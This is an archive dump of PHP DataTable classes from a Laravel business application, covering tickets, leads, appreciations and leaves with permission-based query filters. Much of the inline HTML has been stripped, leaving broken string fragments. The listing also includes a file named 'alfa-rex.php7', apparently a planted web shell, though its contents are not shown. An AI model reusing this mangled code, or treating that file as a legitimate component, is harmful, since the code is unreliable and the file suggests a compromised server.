__('modules.projects.projectMembers') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.projects.projectMembers')], __('app.deadline') => ['data' => 'deadline', 'name' => 'deadline', 'title' => __('app.deadline')], __('app.client') => ['data' => 'client_id', 'name' => 'client_id', 'title' => __('app.client')], __('app.completions') => ['data' => 'completion_percent', 'name' => 'completion_percent', 'exportable' => false, 'title' => __('app.completions')], __('app.completion') => ['data' => 'completion_export', 'name' => 'completion_export', 'visible' => false, 'title' => __('app.completion')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/TicketDataTable.php000064400000046320150325104510012247 0ustar00viewTicketPermission = user()->permission('view_tickets'); $this->ignoreTrashed = $ignoreTrashed; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }); $datatables->addColumn('others', function ($row) { $others = ''; if (!is_null($row->agent)) { $others .= '
' . __('modules.tickets.agent') . ': ' . (is_null($row->agent_id) ? '-' : $row->agent->name) . '
'; } $others .= '
' . __('modules.tasks.priority') . ': ' . __('app.' . $row->priority) . '
'; return $others; }); $datatables->addColumn('status', function ($row) { if ($row->canEditTicket($row)) { $status = ''; return $status; } $statuses = [ 'open' => ['red', __('app.open')], 'pending' => ['warning', __('app.pending')], 'resolved' => ['dark-green', __('app.resolved')], 'closed' => ['blue', __('app.closed')], ]; $status = $statuses[$row->status] ?? $statuses['closed']; return '' . $status[1]; }); $datatables->editColumn('ticket_status', fn($row) => $row->status); $datatables->editColumn('subject', fn($row) => '' . $row->subject . '' . $row->badge()); $datatables->addColumn('name', fn($row) => $row->requester ? $row->requester->name : $row->ticket_number); $datatables->editColumn('user_id', function ($row) { if (is_null($row->requester)) { return ''; } $viewComponent = $row->requester->hasRole('employee') ? 'components.employee' : 'components.client'; return view($viewComponent, ['user' => $row->requester]); }); $datatables->editColumn('updated_at', fn($row) => $row->created_at?->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format)); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->orderColumn('user_id', 'name $1'); $datatables->orderColumn('status', 'id $1'); $datatables->removeColumn('agent_id'); $datatables->removeColumn('channel_id'); $datatables->removeColumn('type_id'); $datatables->removeColumn('deleted_at'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Ticket::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['others', 'action', 'subject', 'check', 'user_id', 'status'], $customFieldColumns)); return $datatables; } /** * @param Ticket $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Ticket $model) { $request = $this->request(); $userid = UserService::getUserId(); $model = $model->with('requester', 'agent', 'latestReply.user:id,name,image', 'group.enabledAgents') ->select('tickets.*') ->leftJoin('projects', 'projects.id', 'tickets.project_id') ->join('users', 'users.id', '=', 'tickets.user_id'); // filter where project is soft deleted if (!$this->ignoreTrashed) { $model->where(function ($query) { $query->whereNotNull('tickets.project_id') ->whereHas('project', function ($q) { $q->whereNull('projects.deleted_at'); })->orWhereNull('tickets.project_id'); }); } if (!is_null($request->startDate) && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model->where(DB::raw('DATE(tickets.updated_at)'), '>=', $startDate); } if (!is_null($request->endDate) && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model->where(DB::raw('DATE(tickets.updated_at)'), '<=', $endDate); } if (!is_null($request->agentId) && $request->agentId != 'all' && $request->ticketFilterStatus != 'unassigned') { $model->where('tickets.agent_id', '=', $request->agentId); } if (!is_null($request->groupId) && $request->groupId != 'all') { $model->where('tickets.group_id', '=', $request->groupId); } if (!is_null($request->client_id) && $request->client_id != 'all') { $model->where('tickets.user_id', $request->client_id); } if (!is_null($request->employee_id) && $request->employee_id != 'all') { $model->where('tickets.user_id', $request->employee_id); } if (!is_null($request->ticketStatus) && $request->ticketStatus != 'all' && $request->ticketFilterStatus == '') { $request->ticketStatus == 'unassigned' ? $model->whereNull('agent_id') : $model->where('tickets.status', '=', $request->ticketStatus); } if ($request->ticketFilterStatus != '') { ($request->ticketFilterStatus == 'open' || $request->ticketFilterStatus == 'unassigned') ? $model->where(function ($query) { $query->where('tickets.status', '=', 'open') ->orWhere('tickets.status', '=', 'pending'); }) : $model->where(function ($query) { $query->where('tickets.status', '=', 'resolved') ->orWhere('tickets.status', '=', 'closed'); }); if ($request->ticketFilterStatus == 'unassigned') { $model->whereNull('agent_id'); } } if (!is_null($request->priority) && $request->priority != 'all') { $model->where('tickets.priority', '=', $request->priority); } if (!is_null($request->channelId) && $request->channelId != 'all') { $model->where('tickets.channel_id', '=', $request->channelId); } if (!is_null($request->typeId) && $request->typeId != 'all') { $model->where('tickets.type_id', '=', $request->typeId); } $tagIds = is_array($request->tagId) ? $request->tagId : explode(',', $request->tagId); $totalTagLists = TicketTagList::all(); $totaltags = ($totalTagLists->count() + 1) - count($tagIds); if (is_array($request->tagId) && $request->tagId[0] !== 'all') { $model->join('ticket_tags', 'ticket_tags.ticket_id', 'tickets.id') ->whereIn('ticket_tags.tag_id', $tagIds) ->groupBy('tickets.id'); } elseif(is_array($request->tagId) && $request->tagId[0] !== 'all' && $totaltags > 0){ $model->join('ticket_tags', 'ticket_tags.ticket_id', 'tickets.id') ->whereIn('ticket_tags.tag_id', $tagIds) ->groupBy('tickets.id'); } elseif(is_array($request->tagId) && $request->tagId[0] == 'all' && $totaltags > 0 && count($tagIds) !== 1){ $model->leftJoin('ticket_tags', 'ticket_tags.ticket_id', '=', 'tickets.id') ->where(function ($query) use ($tagIds) { $query->whereIn('ticket_tags.tag_id', $tagIds) ->orWhereNull('ticket_tags.tag_id'); })->groupBy('tickets.id'); }elseif(is_array($request->tagId) && $request->tagId[0] == 'all' && count($tagIds) == 1){ $model->whereNotExists(function ($query) { $query->select(DB::raw(1)) ->from('ticket_tags') ->whereColumn('ticket_tags.ticket_id', 'tickets.id'); }); } if (!is_null($request->projectID) && $request->projectID != 'all') { $model->whereHas('project', function ($q) use ($request) { $q->withTrashed()->where('tickets.project_id', $request->projectID); }); } $userAssignedInGroup = false; if(in_array('employee', user_roles()) && !in_array('admin', user_roles()) && !in_array('client', user_roles())){ $userAssignedInGroup = TicketGroup::whereHas('enabledAgents', function ($query) use ($userid) { $query->where('agent_id', $userid)->orWhereNull('agent_id'); })->exists(); } if($userAssignedInGroup == false){ if ($this->viewTicketPermission == 'owned') { $model->where(function ($query) use ($userid) { $query->where('tickets.user_id', '=', $userid) ->orWhere('agent_id', '=', $userid); }); } if ($this->viewTicketPermission == 'both') { $model->where(function ($query) use ($userid) { $query->where('tickets.user_id', '=', $userid) ->orWhere('tickets.added_by', '=', $userid) ->orWhere('agent_id', '=', $userid); }); } if ($this->viewTicketPermission == 'added') { $model->where('tickets.added_by', '=', $userid); } }else{ $ticketSetting = TicketSettingForAgents::first(); if($ticketSetting?->ticket_scope == 'group_tickets'){ $userGroupIds = TicketGroup::whereHas('enabledAgents', function ($query) use ($userid) { $query->where('agent_id', $userid); })->pluck('id')->toArray(); $ticketSettingGroupIds = is_array($ticketSetting?->group_id) ? $ticketSetting?->group_id : explode(',', $ticketSetting?->group_id); // Find the common group IDs $commonGroupIds = array_intersect($userGroupIds, $ticketSettingGroupIds); if($commonGroupIds){ $model->where(function ($query) use ($commonGroupIds, $userid) { $query->where(function ($subQuery) use ($commonGroupIds, $userid) { // Conditions related to user and agent $subQuery->where('tickets.user_id', '=', $userid) ->orWhere('tickets.added_by', '=', $userid) ->orWhere('tickets.agent_id', '=', $userid) ->orWhere('tickets.agent_id', '!=', $userid) ->whereIn('tickets.group_id', $commonGroupIds); }) // Add orWhere for tickets where agent_id is null ->orWhere(function ($subQuery) use ($commonGroupIds) { $subQuery->whereNull('tickets.agent_id') ->whereIn('tickets.group_id', $commonGroupIds); }); }); }else{ $model->where(function ($query) use ($userGroupIds, $userid) { $query->where(function ($subQuery) use ($userGroupIds, $userid) { // Conditions related to user and agent $subQuery->where('tickets.user_id', '=', $userid) ->orWhere('tickets.added_by', '=', $userid) ->orWhere('tickets.agent_id', '=', $userid) ->orWhere('tickets.agent_id', '!=', $userid) ->whereIn('tickets.group_id', $userGroupIds); }) // Add orWhere for tickets where agent_id is null ->orWhere(function ($subQuery) use ($userGroupIds) { $subQuery->whereNull('tickets.agent_id') ->whereIn('tickets.group_id', $userGroupIds); }); }); } } if($ticketSetting?->ticket_scope == 'assigned_tickets'){ $model->where(function ($query) use ($userid) { $query->where('agent_id', '=', $userid) ->orWhere('tickets.user_id', '=', $userid) ->orWhere('tickets.added_by', '=', $userid); }); } } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tickets.subject', 'like', '%' . request('searchText') . '%') ->orWhere('tickets.ticket_number', 'like', '%' . request('searchText') . '%') ->orWhere('tickets.status', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('tickets.priority', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('ticket-table', 5) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["ticket-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#ticket-table .select-picker").selectpicker(); $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], __('modules.tickets.ticket') . ' #' => ['data' => 'ticket_number', 'name' => 'ticket_number', 'title' => __('modules.tickets.ticket') . ' #'], __('modules.tickets.ticketSubject') => ['data' => 'subject', 'name' => 'subject', 'title' => __('modules.tickets.ticketSubject'), 'width' => '20%'], __('app.name') => ['data' => 'name', 'name' => 'user_id', 'visible' => false, 'title' => __('app.name')], __('modules.tickets.requesterName') => ['data' => 'user_id', 'name' => 'user_id', 'visible' => !in_array('client', user_roles()), 'exportable' => false, 'title' => __('modules.tickets.requesterName'), 'width' => '20%'], __('modules.tickets.requestedOn') => ['data' => 'updated_at', 'name' => 'updated_at', 'title' => __('modules.tickets.requestedOn')], __('app.others') => ['data' => 'others', 'name' => 'others', 'sortable' => false, 'title' => __('app.others')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('modules.ticketStatus') => ['data' => 'ticket_status', 'name' => 'ticket_status', 'visible' => false, 'title' => __('modules.ticketStatus')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Ticket()), $action); } } DataTables/AppreciationsDataTable.php000064400000023555150325104510013632 0ustar00editAppreciationPermission = user()->permission('edit_appreciation'); $this->deleteAppreciationPermission = user()->permission('delete_appreciation'); $this->viewAppreciationPermission = user()->permission('view_appreciation'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
' . __('app.view') . ''; if (($this->editAppreciationPermission == 'all' || ($this->editAppreciationPermission == 'added' && user()->id == $row->added_by) || ($this->editAppreciationPermission == 'owned' && user()->id == $row->award_to) || ($this->editAppreciationPermission == 'both' && ($row->added_by == user()->id || user()->id == $row->award_to))) || ($this->deleteAppreciationPermission == 'all' || ($this->deleteAppreciationPermission == 'added' && user()->id == $row->added_by) || ($this->deleteAppreciationPermission == 'owned' && user()->id == $row->award_to) || ($this->deleteAppreciationPermission == 'both' && ($row->added_by == user()->id || user()->id == $row->award_to)))) { $action .= '
'; return $action; }) ->editColumn('award_id', fn($row) => isset($row->award?->awardIcon) ? view('components.award-icon', ['award' => $row->award]) . ' ' . $row->award->title . '' : '-') ->addColumn('appreciation_type', fn($row) => $row->award ? $row->award->title : '-') ->addColumn('award_date', fn($row) => $row->award_date->translatedFormat($this->company->date_format)) ->addColumn('award_to', fn($row) => view('components.employee', ['user' => $row->awardTo])) ->addColumn('award_employee', fn($row) => $row->awardTo->name) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['check', 'action', 'award_id', 'award_to']); } /*** * @param Notice $model * @return \Illuminate\Database\Query\Builder */ public function query(Appreciation $model) { $request = $this->request(); $model = $model->with([ 'award', 'award.awardIcon', 'awardTo', 'awardTo.employeeDetail' => function ($query) { $query->select('user_id', 'added_by', 'designation_id', 'employee_id', 'joining_date') ->with('reportingTo:id,name,image', 'designation:id,name'); }, 'awardTo.session', ]) ->select('id', 'award_id', 'award_to', 'award_date', 'image', 'summary', 'created_at') ->join('awards', 'awards.id', '=', 'appreciations.award_id') ->join('users', 'users.id', '=', 'appreciations.award_to'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = Carbon::createFromFormat(company()->date_format, $request->startDate)->toDateString(); $model = $model->where(DB::raw('DATE(appreciations.`award_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = Carbon::createFromFormat(company()->date_format, $request->endDate)->toDateString(); $model = $model->where(DB::raw('DATE(appreciations.`award_date`)'), '<=', $endDate); } if ($this->viewAppreciationPermission == 'added') { $model->where('appreciations.added_by', user()->id); } if ($this->viewAppreciationPermission == 'owned') { $model->where('appreciations.award_to', user()->id); } if ($this->viewAppreciationPermission == 'both') { $model->where(function ($q) { $q->where('appreciations.added_by', '=', user()->id); $q->orWhere('appreciations.award_to', '=', user()->id); }); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('awards.title', 'like', '%' . request('searchText') . '%'); }); } if ($request->appreciationType != 'all') { $model->where(function ($query) use ($request) { $query->where('appreciations.award_id', $request->appreciationType); }); } if ($request->awardTo != 'all') { $model->where(function ($query) use ($request) { $query->where('appreciations.award_to', $request->awardTo); }); } $model->select('appreciations.*'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('user-appreciation-table', 3) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["user-appreciation-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.appreciations.awardToEmployee') => ['data' => 'award_to', 'exportable' => false, 'name' => 'award_to', 'title' => __('modules.appreciations.awardToEmployee')], __('modules.appreciations.awardTo') => ['data' => 'award_employee', 'name' => 'award_employee', 'visible' => false, 'title' => __('modules.appreciations.awardTo')], __('modules.appreciations.appreciationTypeName') => ['data' => 'award_id', 'exportable' => false, 'name' => 'award_id', 'title' => __('modules.appreciations.appreciationTypeName')], __('modules.appreciations.appreciationType') => ['data' => 'appreciation_type', 'name' => 'award_id', 'visible' => false, 'title' => __('modules.appreciations.appreciationType')], __('app.date') => ['data' => 'award_date', 'name' => 'award_date', 'title' => __('modules.appreciations.awardDate')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/LeadsDataTable.php000064400000053551150325104510012060 0ustar00editLeadPermission = user()->permission('edit_lead'); $this->deleteLeadPermission = user()->permission('delete_lead'); $this->viewLeadPermission = user()->permission('view_lead'); $this->addFollowUpPermission = user()->permission('add_lead_follow_up'); $this->changeLeadStatusPermission = user()->permission('change_lead_status'); $this->viewLeadFollowUpPermission = user()->permission('view_lead_follow_up'); $this->status = LeadStatus::get(); $this->myAgentId = LeadAgent::where('user_id', user()->id)->first(); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $currentDate = Carbon::now(company()->timezone)->translatedFormat('Y-m-d'); $status = $this->status; $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', function ($row) { return ''; }); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->addColumn('employee_name', function ($row) { if (!is_null($row->agent_id)) { return $row->leadAgent->user->name; } }); $datatables->addColumn('mobile', function ($row) { if ($row->mobile != '') { return '' . $row->mobile . ''; } return '--'; }); $datatables->addColumn('export_mobile', function ($row) { return $row->mobile; }); $datatables->addColumn('export_email', function ($row) { return $row->client_email; }); $datatables->addColumn('lead_value', function ($row) { return currency_format($row->value, $row->currency_id); }); $datatables->addColumn('lead', function ($row) { return $row->client_name; }); $datatables->addColumn('category_name', function ($row) { if (!is_null($row->category_id)) { return $row->category->category_name; } }); $datatables->addColumn('status', function ($row) use ($status) { $action = '--'; if ($this->changeLeadStatusPermission == 'all') { $statusLi = '--'; foreach ($status as $st) { if ($row->status_id == $st->id) { $selected = 'selected'; } else { $selected = ''; } $statusLi .= ''; } $action = ''; } else { foreach ($status as $st) { if ($row->status_id == $st->id) { $action = ucfirst($st->type); } } } return $action; }); $datatables->addColumn('leadStatus', function ($row) use ($status) { $leadStatus = ''; foreach ($status as $st) { if ($row->status_id == $st->id) { $leadStatus = $st->type; } } return $leadStatus; }); $datatables->editColumn('client_name', function ($row) { if ($row->client_id != null && $row->client_id != '') { $label = ''; } else { $label = ''; } $client_name = ucfirst($row->salutation) . ' ' . ucfirst($row->client_name); return '
' . $client_name . '

' . $label . '

'.$row->company_name.'

'; }); $datatables->editColumn('next_follow_up_date', function ($row) use ($currentDate) { if ($this->viewLeadFollowUpPermission != 'none') { // code... if ($row->next_follow_up_date != null && $row->next_follow_up_date != '') { $date = Carbon::parse($row->next_follow_up_date)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); } else { $date = '--'; } if ($row->next_follow_up_date < $currentDate && $row->next_follow_up_status == 'incomplete' && $date != '--') { return $date . '
'; } return $date; } }); $datatables->editColumn('created_at', function ($row) { return $row->created_at->translatedFormat($this->company->date_format); }); $datatables->editColumn('agent_name', function ($row) { if (!is_null($row->agent_id)) { return view('components.employee-image', [ 'user' => $row->leadAgent->user ]); } return '--'; }); $datatables->smart(false); $datatables->setRowId(function ($row) { return 'row-' . $row->id; }); $datatables->removeColumn('status_id'); $datatables->removeColumn('client_id'); $datatables->removeColumn('source'); $datatables->removeColumn('next_follow_up'); $datatables->removeColumn('statusName'); $datatables->removeColumn('statusName'); $customFieldColumns = CustomField::customFieldData($datatables, Lead::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['status', 'action', 'client_name', 'next_follow_up_date', 'agent_name', 'check', 'mobile'], $customFieldColumns)); return $datatables; } /** * @param Lead $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Lead $model) { $lead = $model->with(['leadAgent', 'leadAgent.user', 'category']) ->select( 'leads.id', 'leads.agent_id', 'leads.mobile', 'leads.added_by', 'leads.client_id', 'leads.next_follow_up', 'leads.salutation', 'leads.category_id', 'leads.value', 'client_name', 'client_email', 'company_name', 'lead_status.type as statusName', 'status_id', 'leads.created_at', 'leads.updated_at', 'lead_sources.type as source', 'users.name as agent_name', 'users.image', DB::raw("(select next_follow_up_date from lead_follow_up where lead_id = leads.id and leads.next_follow_up = 'yes' and status = 'incomplete' ORDER BY next_follow_up_date asc limit 1) as next_follow_up_date"), DB::raw("(select lead_follow_status.status from lead_follow_up as lead_follow_status where lead_id = leads.id and leads.next_follow_up = 'yes' and status = 'incomplete' ORDER BY next_follow_up_date asc limit 1) as next_follow_up_status") ) ->leftJoin('lead_status', 'lead_status.id', 'leads.status_id') ->leftJoin('lead_agents', 'lead_agents.id', 'leads.agent_id') ->leftJoin('users', 'users.id', 'lead_agents.user_id') ->leftJoin('lead_sources', 'lead_sources.id', 'leads.source_id'); if ($this->request()->followUp != 'all' && $this->request()->followUp != '') { $lead = $lead->leftJoin('lead_follow_up', 'lead_follow_up.lead_id', 'leads.id'); if ($this->request()->followUp == 'yes') { $lead = $lead->where('leads.next_follow_up', 'yes'); } else { $lead = $lead->where('leads.next_follow_up', 'no'); } } if (!is_null($this->request()->min) || !is_null($this->request()->max)) { $min = $this->request()->min; $max = $this->request()->max; $lead = $lead->whereBetween('value', [$min, $max]); } if ($this->request()->type != 'all' && $this->request()->type != '') { if ($this->request()->type == 'lead') { $lead = $lead->whereNull('client_id'); } else { $lead = $lead->whereNotNull('client_id'); } } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'created_at') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(leads.`created_at`)'), '>=', $startDate); } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'next_follow_up_date') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(`next_follow_up_date`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'created_at') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(leads.`created_at`)'), '<=', $endDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'next_follow_up_date') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(`next_follow_up_date`)'), '<=', $endDate); } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'updated_at') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(leads.`updated_at`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'updated_at') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(leads.`updated_at`)'), '<=', $endDate); } if (($this->request()->agent != 'all' && $this->request()->agent != '') || $this->viewLeadPermission == 'added') { $lead = $lead->where(function ($query) { if ($this->request()->agent != 'all' && $this->request()->agent != '') { $query->where('agent_id', $this->request()->agent); } if ($this->viewLeadPermission == 'added') { $query->orWhere('leads.added_by', user()->id); } }); } if ($this->viewLeadPermission == 'owned' && !is_null($this->myAgentId)) { $lead = $lead->where(function ($query) { $query->where('agent_id', $this->myAgentId->id); }); } if ($this->viewLeadPermission == 'both') { $lead = $lead->where(function ($query) { if (!is_null($this->myAgentId)) { $query->where('agent_id', $this->myAgentId->id); } $query->orWhere('leads.added_by', user()->id); }); } if ($this->request()->category_id != 'all' && $this->request()->category_id != '') { $lead = $lead->where('category_id', $this->request()->category_id); } if ($this->request()->source_id != 'all' && $this->request()->source_id != '') { $lead = $lead->where('source_id', $this->request()->source_id); } if ($this->request()->status_id != 'all' && $this->request()->status_id != '') { $lead = $lead->where('status_id', $this->request()->status_id); } if ($this->request()->searchText != '') { $lead = $lead->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orwhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } return $lead->groupBy('leads.id'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { return $this->setBuilder('leads-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leads-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]) ->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('app.name') => ['data' => 'client_name', 'name' => 'client_name', 'exportable' => false, 'title' => __('app.name')], __('app.lead') => ['data' => 'lead', 'name' => 'client_name', 'visible' => false, 'title' => __('app.lead')], __('app.email') . ' ' . __('modules.lead.email') => ['data' => 'export_email', 'name' => 'email', 'title' => __('app.lead') . ' ' . __('modules.lead.email'), 'exportable' => true, 'visible' => false], __('modules.lead.leadCategory') => ['data' => 'category_name', 'name' => 'category_name', 'exportable' => true, 'visible' => false, 'title' => __('modules.lead.leadCategory')], __('modules.lead.email') => ['data' => 'client_email', 'name' => 'client_email', 'title' => __('modules.lead.email')], __('modules.lead.mobile') => ['data' => 'mobile', 'name' => 'mobile', 'title' => __('modules.lead.mobile'), 'exportable' => false], __('app.lead') . ' ' . __('modules.lead.mobile') => ['data' => 'export_mobile', 'name' => 'mobile', 'title' => __('app.lead') . ' ' . __('modules.lead.mobile'), 'exportable' => true, 'visible' => false], __('app.lead') .' '. __('app.value') => ['data' => 'lead_value', 'name' => 'value', 'title' => __('app.lead') .' '. __('app.value'), 'exportable' => false], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], __('modules.lead.nextFollowUp') => ['data' => 'next_follow_up_date', 'name' => 'next_follow_up_date', 'searchable' => false, 'exportable' => ($this->viewLeadFollowUpPermission != 'none'), 'title' => __('modules.lead.nextFollowUp'), 'visible' => ($this->viewLeadFollowUpPermission != 'none')], __('modules.lead.leadAgent') => ['data' => 'agent_name', 'name' => 'users.name', 'exportable' => false, 'title' => __('modules.lead.leadAgent')], __('app.leadAgent') => ['data' => 'employee_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.leadAgent')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.menu.leadStatus') => ['data' => 'leadStatus', 'name' => 'leadStatus', 'visible' => false, 'orderable' => false, 'searchable' => false, 'title' => __('app.status')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Lead()), $action); } } DataTables/alfa-rex.php7000064400000026574150325104510011061 0ustar00DataTables/LeaveDataTable.php000064400000047333150325104510012065 0ustar00editLeavePermission = user()->permission('edit_leave'); $this->deleteLeavePermission = user()->permission('delete_leave'); $this->deleteApproveLeavePermission = user()->permission('delete_approve_leaves'); $this->viewLeavePermission = user()->permission('view_leave'); $this->approveRejectPermission = user()->permission('approve_or_reject_leaves'); $this->reportingPermission = LeaveSetting::value('manager_permission'); $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->get(); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('check', function ($row) { return ''; }) ->addColumn('employee_name', function ($row) { return $row->user->name; }) ->editColumn('employee', function ($row) { return view('components.employee', [ 'user' => $row->user ]); }) ->addColumn('leave_paid', function ($row) { if ($row->paid == 1) { $leavePaidStatus = '' . __('app.paid') . ''; } else { $leavePaidStatus = '' . __('app.unpaid') . ''; } if ($row->over_utilized == 1) { $leavePaidStatus .= '
(' .__('modules.leaves.overUtilized').')'; } return $leavePaidStatus; }) ->addColumn('leave_date', function ($row) { return Carbon::parse($row->leave_date)->translatedFormat($this->company->date_format) .' ('.Carbon::parse($row->leave_date)->translatedFormat('l').')'; }) ->addColumn('status', function ($row) { if ($row->status == 'approved') { $class = 'text-light-green'; $status = __('app.approved'); } else if ($row->status == 'pending') { $class = 'text-yellow'; $status = __('app.pending'); } else { $class = 'text-red'; $status = __('app.rejected'); } $leaveStatus = '
'; if($row->duration == 'multiple' && !is_null($row->unique_id)){ $leaveStatus = '
' . __('app.view') . ' '.__('app.status').'
'; } else{ $leaveStatus = ' ' . $status; if($row->manager_status_permission === 'pre-approve'){ $leaveStatus .= '
'.__('modules.leaves.preApproved').'
'; } } $leaveStatus .= '
'; return $leaveStatus; }) ->addColumn('duration', function ($row) { $leave = '
'.(($row->duration == 'half day') ? __('modules.leaves.halfDay') : (($row->duration == 'multiple') ? __('modules.leaves.multiple') : __('app.'.$row->duration))) .'
'; if($row->count_multiple_leaves != 0){ $leave .= '' . $row->count_multiple_leaves .' '.__('app.leaveDay').''; } $leave .= '
'; return $leave; }) ->addColumn('leave_type', function ($row) { $type = '' . $row->type_name . ''; if ($row->duration == 'half day') { if (!is_null($row->half_day_type)) { $type .= '
